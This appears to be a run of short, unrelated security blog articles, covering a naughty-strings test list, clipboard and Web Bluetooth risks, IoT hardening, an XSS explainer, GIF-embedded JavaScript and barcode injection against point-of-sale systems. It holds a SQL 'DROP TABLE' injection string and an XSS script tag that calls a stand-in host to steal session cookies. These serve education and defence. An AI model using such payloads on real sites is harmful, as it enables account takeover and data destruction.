Any software that accepts user input must take some effort to sanitize incoming data, lest unexpected and unwelcome things happen. Here to make that easier is the Big List of Naughty Strings, an evolving list of edge cases, unusual characters, script-injection fragments, and all-around nonstandard stuff aimed at QA testers, developers, and the curious. It’s a big list that has grown over the years, and every piece of it is still (technically) just a string.
These strings have a high probability of surfacing any problems with handling user input. They won’t necessarily break anything, but they may cause unexpected things to happen and help point out any issues that need fixing. After all, many attacks hinge on being able to send unexpected inputs that don’t get properly sanitized.
Finding bad inputs is not always entirely straightforward, but at least the Big List of Naughty Strings is available in a variety of formats to make it easy to use. [Max Woolf] has been maintaining the list for years, but if you haven’t heard of it yet and think it might come in useful, now’s the time to give it a look. Now you can help ensure your system can handle things like someone registering a company named ; DROP TABLE “COMPANIES”;– LTD.
Back when Windows NT was king, Microsoft was able to claim that it met the strict “Orange Book” C2 security certification. The catch? Don’t install networking and remove the floppy drives. Turns out most of the things you want to do with your computer are the very things that are a security risk. Even copy and paste.
[Michal Benkowki] has a good summary of his research which boils down to the following attack scenario:
Visit a malicious site.
Copy something to the clipboard which allows the site to put in a dangerous payload.
Visit another site with a browser-based visual editor (e.g., Gmail or WordPress)
Security for anything you connect to the internet is important. Think of these devices as doorways. They either allow access to services or provides services for someone else. Doorways need to be secure — you wouldn’t leave your door unlocked if you lived in the bad part of a busy city, would you? Every internet connection is the bad part of a busy city. The thing is, building hardware that is connected to the internet is the new hotness these days. So let’s walk through the basics you need to know to start thinking security with your projects.
If you have ever run a server and checked your logs you have probably noticed that there is a lot of automated traffic trying to gain access to your server on a nearly constant basis. An insecure device on a network doesn’t just compromise itself, it presents a risk to all other networked devices too.
The easiest way to secure a device is to turn it off, but lets presume you want it on. There are many things you can do to protect your IoT device. It may seem daunting to begin with but as you start becoming more security conscious things begin to click together a bit like a jigsaw and it becomes a lot easier.
Google’s most recent Chrome browser, version 53, includes trial support for Web Bluetooth, and it’s like the Wild West! JavaScript code, served to your browser, can now connect directly to your Bluetooth LE (BTLE) devices, with a whole bunch of caveats that we’ll make clear below.
On the one hand, this is awesome functionality. The browser is the most ubiquitous cross-platform operating system that the world has ever seen. You can serve a website to users running Windows, Linux, Android, iOS, or MacOS and run code on their machines without having to know if it’s a cellphone, a desktop, or a virtual machine in the Matrix. Combining this ubiquity with the ability to control Bluetooth devices is going to be fun. It’s a missing piece of the IoT puzzle.
On the other hand, it’s a security nightmare. It’s bad enough when malicious websites can extract information from files that reside on your computer, but when they connect directly to your lightbulbs, your FitBits, or your BTLE-enhanced pacemaker, it opens up new possibilities for mischief. The good news is that the developers of Web Bluetooth seem to be aware of the risks and are intent on minimizing them, but there are still real concerns. How does security come out in the balance? Read on.
In 2011, a group of hackers known as Lulzsec went on a two month rampage hacking into dozens of websites including those owned by FOX, PBS, the FBI, Sony and many others. The group was eventually caught and questioned in how they were able to pull off so many hacks. It would be revealed that none of the hackers actually knew each other in real life. They didn’t even know each other’s real names. They only spoke in secluded chat rooms tucked away in a dark corner of the internet and knew each other by their aliases – [tFlow], [Sabu], [Topiary], [Kayla], to name a few. Each had their own special skill, and when combined together they were a very effective team of hackers.
It was found that they used 3 primary methods of cracking into websites – SQL injection, cross-site scripting and remote file inclusion. We gave a basic overview of how a SQL injection attack works in the previous article of this series. In this article we’re going to do the same with cross-site scripting, or XSS for short. SQL injection has been called the biggest vulnerability in the history of mankind from a potential data loss perspective. Cross-site scripting comes in as a close second. Let’s take a look at how it works.
XSS Scenario
Let us suppose that you wanted to sell an Arduino on your favorite buy-and-sell auction website. The first thing to do would be to log into the server. During this process, a cookie from that server would be stored on your computer. Anytime you load the website in your browser, it will send that cookie along with your HTTP request to the server, letting it know that it was you and saving you from having to log in every time you visit. It is this cookie that will become the target of our attack.
You would then open up some type of window that would allow you to type in a description of your Arduino that potential buyers could read. Let’s imagine you say something like:
Arduino Uno in perfect condition. New in Box. $15 plus shipping.
You would save your description and it would be stored on a database in the server. So far, there is nothing out of the ordinary or suspicious about our scenario at all. But let’s take a look at what happens when a potential buyer logs into the server. They’re in need of an Arduino and see your ad that you just posted. What does their browser see when they load your post?
Arduino Uno in perfect condition. <b>New in Box</b>. $15 plus shipping.
Whether you realize it or not, you just ran HTML code (in the form of the bold tags) on their computer, albeit harmless code that does what both the buyer and seller want – to highlight a specific selling point of the product. But what other code can you run? Can you run code that might do something the buyer surely does not want? Code that will run on any and every computer that loads the post? Not only should you be able to see where we’re going with this, you should also be able to see the scope of the problem and just how dangerous it can be.
Now let us imagine a Lulzsec hacker is out scoping for some much needed lulz. He runs across your post and nearly instantly recognizes that you were able to run HTML code on his computer. He then makes a selling ad on the website:
Lot of 25 Raspberry Pi Zeros - New in Box - < script src="http://lulz.com/email_me_your_cookie.js" ></script> - $100, free shipping.
Now as soon as someone opens up the hacker’s ad, the script section will load up the malicious off-site code and steal the victim’s session cookie. Normally, only the website specified in a cookie has access to that cookie. Here, since the malicious code was served from the auction website’s server, the victim’s browser has no problem with sending the auction website’s cookie. Now the hacker can load the cookie into his browser to impersonate the victim, allowing the hacker access to everything his victim has access to.
Endless Opportunities
With a little imagination, you can see just how far you can reach with a cross-site scripting attack. You can envision a more targeted attack with a hacker trying to get inside a large company like Intel by exploiting a flawed competition entry process. The hacker visits the Intel Edison competition entry page and sees that he can run code in the application submission form. He knows someone on the Intel intranet will likely read his application and guesses it will be done via a browser. His XSS attack will run as soon as his entry is opened by the unsuspecting Intel employee.
This kind of attack can be run in any user input that allows containing code to be executed on another computer. Take a comment box for instance. Type in some type of < script >evil</script> into a comment box and it will load on every computer that loads that page. [Samy Kamkar] used a similar technique to pull off his famous Myspace worm as we talked about in the beginning of the previous article in this series. XSS, at one time, could even have been done with images.
Preventing XSS attacks
As with SQLi based attacks, almost all website developers in this day and age are aware of XSS and take active measures to prevent it. One prevention is validating input. Trying to run JavaScript in most applications where you should not be will not only give you an error, but will likely flag your account as being up to no good.
One thing you can do to protect yourself from such an attack is to use what is known as a sandboxed browser. This keeps code that runs in a browser in a “box” and keeps the rest of your computer safe. Most modern browsers have this technology built in. A more drastic step would be to disable JavaScript entirely from running on your computer.
There are people here that are far more knowledgeable than I on these type of hacking techniques. It was my hope to give the average hardware hacker a basic understanding of XSS and how it works. We welcome comments from those with a more advanced knowledge of cross-site scripting and other website hacking techniques that would help to deepen everyone’s understanding of these important subjects.
Here’s an interesting proof-of-concept that could be useful or hazardous depending on the situation in which you encounter it. [jklmnn] drew inspiration from the work of [Ange Albertini] who has documented a way to hide Javascript within the header of a .gif file. Not only does it carry the complete code but both image and the Javascript are seen as valid.
Let’s get back to how this might be useful rather than harmful. What if you are working on a computer that doesn’t allow the browser to load Javascript. You may be able to embed something useful, kind of like the hack that allowed movies to be played by abusing Microsoft Excel.
Whenever someone manages to expose vulnerabilities in everyday devices, we love to root for them. [Adrian] over at Irongeek has been inspired to exploit barcodes as a means to attack a POS database. Based on an idea from a Pauldotcom episode, he set out to make a rapid attack device, using an LED to spoof the signals that would be received by scanning a barcode. By exposing the POS to a set of generic database attacks, including XSS, SQL Injection, and other errors easily solved by input sanitation, he has created the first version of an automated system penetration device. In this case the hardware is simple, but the concept is impressive.
With the hardware explained and the source code provided, as well as a basic un-sanitized input cheat sheet, the would-be barcode hackers have a great place to start if they feel compelled to provide a revision two.
